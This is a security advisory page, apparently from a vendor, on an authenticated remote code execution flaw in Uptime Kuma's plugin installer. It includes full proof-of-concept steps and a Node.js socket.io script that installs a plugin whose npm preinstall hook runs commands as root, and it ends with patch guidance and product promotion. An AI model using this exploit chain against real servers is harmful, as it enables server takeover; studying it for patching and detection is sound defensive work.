GHSA-7grx-f945-mj96 is a high-severity (CVSS 8.8) Improper Input Validation vulnerability in uptime-kuma. 1 public exploit reference exists, so weaponization risk is real. A fix is available for uptime-kuma — see the affected versions and patch details below.
Uptime Kuma vulnerable to authenticated remote code execution via malicious plugin installation
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
- A successful exploit gives an attacker total control of the affected component, not partial access.
Exploitation and automatability from CISA’s SSVC triage for GHSA-7grx-f945-mj96.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-7grx-f945-mj96 plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 377,333 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
uptime-kumanpmDescription
Summary
Installation of a maliciously crafted plugin allows for remote code execution by an authenticated attacker.
Details
Uptime Kuma allows authenticated users to install plugins from an official list of plugins. This feature is currently disabled in the web interface, but the corresponding API endpoints are still available after login.
After downloading a plugin, it's installed by calling npm install in the installation directory of the plugin:
https://github.com/louislam/uptime-kuma/blob/8c60e902e1c76ecbbd1b0423b07ce615341cb850/server/plugins-manager.js#L210-L216
Because the plugin is not validated against the official list of plugins or installed with npm install --ignore-scripts, a maliciously crafted plugin taking advantage of npm scripts can gain remote code execution.
PoC
In the PoC below, the plugin at https://github.com/n-thumann/npm-install-script-poc will be installed. It only consists of an empty index.js and a package.json containing the script: "preinstall": "echo \"Malicious code could have been executed as user $(whoami)\" > /tmp/poc". This will be executed when installing the plugin.
- Start Uptime Kuma:
docker run -d -p 3001:3001 -v uptime-kuma:/app/data --name uptime-kuma louislam/uptime-kuma:1 - Create a user using the Uptime Kuma web interface, e.g. user
adminwith passwordadmin123 - Confirm that the PoC file to be created doesn't exist yet:
➜ ~ docker exec -it uptime-kuma cat /tmp/poc
cat: /tmp/poc: No such file or directory
- Create file
poc.jswith the following content:
SERVER = "ws://localhost:3001";
USERNAME = "admin";
PASSWORD = "admin123";
const { io } = require("socket.io-client");
const socket = io(SERVER);
const repo = "https://github.com/n-thumann/npm-install-script-poc";
const name = "npm-install-script-poc";
socket.emit(
"login",
{ username: USERNAME, password: PASSWORD, token: "" },
(res) => {
if (res.ok !== true) return console.log("Login failed");
console.log("Login successful");
socket.emit("installPlugin", repo, name, () => {
console.log("Done");
socket.close();
});
}
);
- Install
socket.io-client:npm install socket.io-client - Run the script:
node poc.js:
# node poc.js
Login successful
Done
- The PoC file has been created:
➜ ~ docker exec -it uptime-kuma cat /tmp/poc
Malicious code could have been executed as user root
Impact
This vulnerability allows authenticated attacker to gain remote code execution on the server Uptime Kuma is running on.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | uptime-kuma | all versions | 1.22.1npm install uptime-kuma@1.22.1 |
Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for uptime-kuma, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update uptime-kuma to 1.22.1 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-7grx-f945-mj96 is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-7grx-f945-mj96 can be triaged on real exposure rather than presence alone.
Tailored to GHSA-7grx-f945-mj96. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-7grx-f945-mj96 in your dependencies?
O3 Security finds GHSA-7grx-f945-mj96 across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.